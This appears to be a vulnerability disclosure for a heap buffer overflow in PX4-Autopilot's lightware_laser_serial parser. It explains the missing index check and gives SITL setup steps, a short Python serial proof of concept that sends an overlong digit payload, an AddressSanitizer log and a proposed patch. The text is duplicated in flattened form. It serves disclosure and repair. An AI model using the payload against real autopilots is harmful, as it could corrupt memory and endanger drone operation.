Summary
We identified a heap buffer overflow vulnerability in the parser function due to the absence of parserbuf_index
value checking.
Target code: src/drivers/distance_sensor/lightware_laser_serial/parser.cpp:87.
We have investigated by the following process.
- We enabled the
lightware_laser_serial
driver.
- We wrote the arbitrary input to
readbuf
buffer used in lightware_laser_serial::collect
function.
- The heap buffer overflow vulnerability had triggered in the
lightware_parser
function when it parses the data.
When we send the following data, it can trigger the vulnerability.
payload = b'\n0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000'
Details
-
We first assumed that we can write the arbitrary input into readbuf
. We’ve found the corresponding code in src/drivers/distance_sensor/lightware_laser_serial/lightware_laser_serial.cpp:175.
int ret = ::read(_fd, &readbuf[0], readlen);
-
After then, it calls lightware_parser
function to parse the read data at src/drivers/distance_sensor/lightware_laser_serial/lightware_laser_serial.cpp:222.
if (OK == lightware_parser(readbuf[i], _linebuf, &_linebuf_index, &_parse_state, &distance_m)) {
readbuf
: 10 bytes sized buffer
_linebuf
: LightwareLaserSerial object’s 10 bytes sized buffer
_linebuf_index
: LightwareLaserSerial object’s sizeof(unsigned)
sized the index of _linebuf
_parse_state
: state information ( initial value: LW_PARSE_STATE0_UNSYNC
)
distance_m
: distance value
-
In the lightware_parser
function, LW_PARSE_STATE2_GOT_DIGIT0
state can be repeated unexpectedly without proper parserbuf_index
or state
checking. This behavior will trigger a heap buffer overflow vulnerability by allowing to write some data. And the writable size is maximum value of an unsigned int
int lightware_parser(char c, char *parserbuf, unsigned *parserbuf_index, enum LW_PARSE_STATE *state, float *dist)
{
int ret = -1;
char *end;
switch (*state) {
case LW_PARSE_STATE0_UNSYNC:
if (c == '\n') {
*state = LW_PARSE_STATE1_SYNC; <--- [1]
(*parserbuf_index) = 0;
}
break;
case LW_PARSE_STATE1_SYNC:
if (c >= '0' && c <= '9') {
*state = LW_PARSE_STATE2_GOT_DIGIT0; <--- [2]
parserbuf[*parserbuf_index] = c;
(*parserbuf_index)++;
}
break;
case LW_PARSE_STATE2_GOT_DIGIT0:
if (c >= '0' && c <= '9') {
*state = LW_PARSE_STATE2_GOT_DIGIT0; <--- [3]
parserbuf[*parserbuf_index] = c;
(*parserbuf_index)++;
} else if (c == '.') {
*state = LW_PARSE_STATE3_GOT_DOT;
parserbuf[*parserbuf_index] = c;
(*parserbuf_index)++;
} else {
*state = LW_PARSE_STATE0_UNSYNC;
}
break;
//ommited
}
- After changing the state as [1] → [2] → [3], it repeats the state as
LW_PARSE_STATE2_GOT_DIGIT0
during the parsing data.
The problematic situation is caused by the absence of the proper parserbuf_index
checking.
PoC
Environment setting
- Create serial interfaces by
socat -d -d pty,raw,echo=0 pty,raw,echo=0
command.
- In our case, serial interfaces was created on /dev/pts/2 and /dev/pts/4. The number of serial interfaces can be different on environment.
- Enable lightware_laser_serial driver by
make px4_sitl boardconfig
command.
- drivers → distance sensors → lightware_laser_serial
- Execute SITL by
HEADLESS=1 PX4_ASAN=1 make px4_sitl jmavsim
command.
- On the pxh prompt, start lightware_laser_serial driver module by
lightware_laser_serial start -d /dev/pts/2
command.
- Execute the PoC code as below.
We have tested on Ubuntu 22.04.3 LTS.
PoC Code
import serial
import time
ser = serial.Serial('/dev/pts/4')
if ser.isOpen():
print('Connection success')
else:
print('Connection failed')
exit()
payload = b'\n0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000'
try:
ser.write(payload)
print(f'Sent: {payload}')
except Exception as e:
print(f'Error: {e}')
finally:
ser.close()
print('Connection closed')
Address Sanitizer Log
=================================================================
==79396==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x611000018240 at pc 0x561dbb3c24aa bp 0x7f76e1b724f0 sp 0x7f76e1b724e0
WRITE of size 1 at 0x611000018240 thread T142
#0 0x561dbb3c24a9 in lightware_parser(char, char*, unsigned int*, LW_PARSE_STATE*, float*) /home/zeroone/PX4-Autopilot/src/drivers/distance_sensor/lightware_laser_serial/parser.cpp:87
#1 0x561dbb3c128f in LightwareLaserSerial::collect() /home/zeroone/PX4-Autopilot/src/drivers/distance_sensor/lightware_laser_serial/lightware_laser_serial.cpp:222
#2 0x561dbb3c1527 in LightwareLaserSerial::Run() /home/zeroone/PX4-Autopilot/src/drivers/distance_sensor/lightware_laser_serial/lightware_laser_serial.cpp:319
#3 0x561dbbc34096 in px4::WorkQueue::Run() /home/zeroone/PX4-Autopilot/platforms/common/px4_work_queue/WorkQueue.cpp:188
#4 0x561dbbc34f52 in WorkQueueRunner /home/zeroone/PX4-Autopilot/platforms/common/px4_work_queue/WorkQueueManager.cpp:238
#5 0x7f76e4e94ac2 in start_thread nptl/pthread_create.c:442
#6 0x7f76e4f26a3f (/lib/x86_64-linux-gnu/libc.so.6+0x126a3f)
0x611000018240 is located 0 bytes to the right of 256-byte region [0x611000018140,0x611000018240)
allocated by thread T0 here:
#0 0x7f76e60b61e7 in operator new(unsigned long) ../../../../src/libsanitizer/asan/asan_new_delete.cpp:99
#1 0x561dbb3c0466 in start /home/zeroone/PX4-Autopilot/src/drivers/distance_sensor/lightware_laser_serial/lightware_laser_serial_main.cpp:57
#2 0x561dbb3c0466 in lightware_laser_serial_main /home/zeroone/PX4-Autopilot/src/drivers/distance_sensor/lightware_laser_serial/lightware_laser_serial_main.cpp:158
#3 0x561dbbc50307 (/home/zeroone/PX4-Autopilot/build/px4_sitl_default/bin/px4+0x9f6307)
Thread T142 created by T5 here:
#0 0x7f76e6058685 in __interceptor_pthread_create ../../../../src/libsanitizer/asan/asan_interceptors.cpp:216
#1 0x561dbbc35620 in WorkQueueManagerRun /home/zeroone/PX4-Autopilot/platforms/common/px4_work_queue/WorkQueueManager.cpp:324
Thread T5 created by T0 here:
#0 0x7f76e6058685 in __interceptor_pthread_create ../../../../src/libsanitizer/asan/asan_interceptors.cpp:216
#1 0x561dbbc30041 in px4_task_spawn_cmd /home/zeroone/PX4-Autopilot/platforms/posix/src/px4/common/tasks.cpp:252
SUMMARY: AddressSanitizer: heap-buffer-overflow /home/zeroone/PX4-Autopilot/src/drivers/distance_sensor/lightware_laser_serial/parser.cpp:87 in lightware_parser(char, char*, unsigned int*, LW_PARSE_STATE*, float*)
Shadow bytes around the buggy address:
0x0c227fffaff0: 00 00 00 00 00 00 00 00 fa fa fa fa fa fa fa fa
0x0c227fffb000: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
0x0c227fffb010: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
0x0c227fffb020: fa fa fa fa fa fa fa fa 00 00 00 00 00 00 00 00
0x0c227fffb030: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x0c227fffb040: 00 00 00 00 00 00 00 00[fa]fa fa fa fa fa fa fa
0x0c227fffb050: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c227fffb060: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c227fffb070: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c227fffb080: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c227fffb090: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
Shadow gap: cc
==79396==ABORTING
Recommended Patch
int lightware_parser(char c, char *parserbuf, unsigned *parserbuf_index, enum LW_PARSE_STATE *state, float *dist)
{
int ret = -1;
char *end;
switch (*state) {
case LW_PARSE_STATE0_UNSYNC:
if (c == '\n') {
*state = LW_PARSE_STATE1_SYNC;
(*parserbuf_index) = 0;
}
break;
case LW_PARSE_STATE1_SYNC:
if (c >= '0' && c <= '9') {
*state = LW_PARSE_STATE2_GOT_DIGIT0;
parserbuf[*parserbuf_index] = c;
(*parserbuf_index)++;
}
break;
case LW_PARSE_STATE2_GOT_DIGIT0:
if (c >= '0' && c <= '9') {
if ( *parserbuf_index > 6 ) { <--- [1] should not be bigger than 6
*state = LW_PARSE_STATE0_UNSYNC;
}else {
*state = LW_PARSE_STATE2_GOT_DIGIT0;
parserbuf[*parserbuf_index] = c;
(*parserbuf_index)++;
}
} else if (c == '.') {
*state = LW_PARSE_STATE3_GOT_DOT;
parserbuf[*parserbuf_index] = c;
(*parserbuf_index)++;
} else {
*state = LW_PARSE_STATE0_UNSYNC;
}
break;
//ommited
}
- After the state becomes
LW_PARSE_STATE2_GOT_DIGIT0
, the increment operation of parserbuf_index
can be done 3 times. Considering the size of readline
is 10 bytes, the parserbuf_index
value shouldn’t be bigger than 9.
- So, we recommend to patch by adding a checking logic whether
parserbuf_index
is bigger than 6. If parserbuf_index
value is bigger than 6, the state must be initialized with LW_PARSE_STATE0_UNSYNC
.
Impact
- A malfunction of the sensor device can cause a heap buffer overflow with leading unexpected drone behavior.
- Malicious applications can exploit the vulnerability even if device sensor malfunction does not occur.
- Up to maximum value of an
unsigned int
bytes sized data can be written to the heap memory area.
Summary
We identified a heap buffer overflow vulnerability in the parser function due to the absence of
parserbuf_index
value checking.Target code: src/drivers/distance_sensor/lightware_laser_serial/parser.cpp:87.
We have investigated by the following process.
lightware_laser_serial
driver.readbuf
buffer used inlightware_laser_serial::collect
function.lightware_parser
function when it parses the data.When we send the following data, it can trigger the vulnerability.
Details
We first assumed that we can write the arbitrary input into
readbuf
. We’ve found the corresponding code in src/drivers/distance_sensor/lightware_laser_serial/lightware_laser_serial.cpp:175.After then, it calls
lightware_parser
function to parse the read data at src/drivers/distance_sensor/lightware_laser_serial/lightware_laser_serial.cpp:222.if (OK == lightware_parser(readbuf[i], _linebuf, &_linebuf_index, &_parse_state, &distance_m)) {
readbuf
: 10 bytes sized buffer_linebuf
: LightwareLaserSerial object’s 10 bytes sized buffer_linebuf_index
: LightwareLaserSerial object’ssizeof(unsigned)
sized the index of_linebuf
_parse_state
: state information ( initial value:LW_PARSE_STATE0_UNSYNC
)distance_m
: distance valueIn the
lightware_parser
function,LW_PARSE_STATE2_GOT_DIGIT0
state can be repeated unexpectedly without properparserbuf_index
orstate
checking. This behavior will trigger a heap buffer overflow vulnerability by allowing to write some data. And the writable size is maximum value of anunsigned int
LW_PARSE_STATE2_GOT_DIGIT0
during the parsing data.The problematic situation is caused by the absence of the proper
parserbuf_index
checking.PoC
Environment setting
socat -d -d pty,raw,echo=0 pty,raw,echo=0
command.make px4_sitl boardconfig
command.HEADLESS=1 PX4_ASAN=1 make px4_sitl jmavsim
command.lightware_laser_serial start -d /dev/pts/2
command.PoC Code
Address Sanitizer Log
Recommended Patch
LW_PARSE_STATE2_GOT_DIGIT0
, the increment operation ofparserbuf_index
can be done 3 times. Considering the size ofreadline
is 10 bytes, theparserbuf_index
value shouldn’t be bigger than 9.parserbuf_index
is bigger than 6. Ifparserbuf_index
value is bigger than 6, the state must be initialized withLW_PARSE_STATE0_UNSYNC
.Impact
unsigned int
bytes sized data can be written to the heap memory area.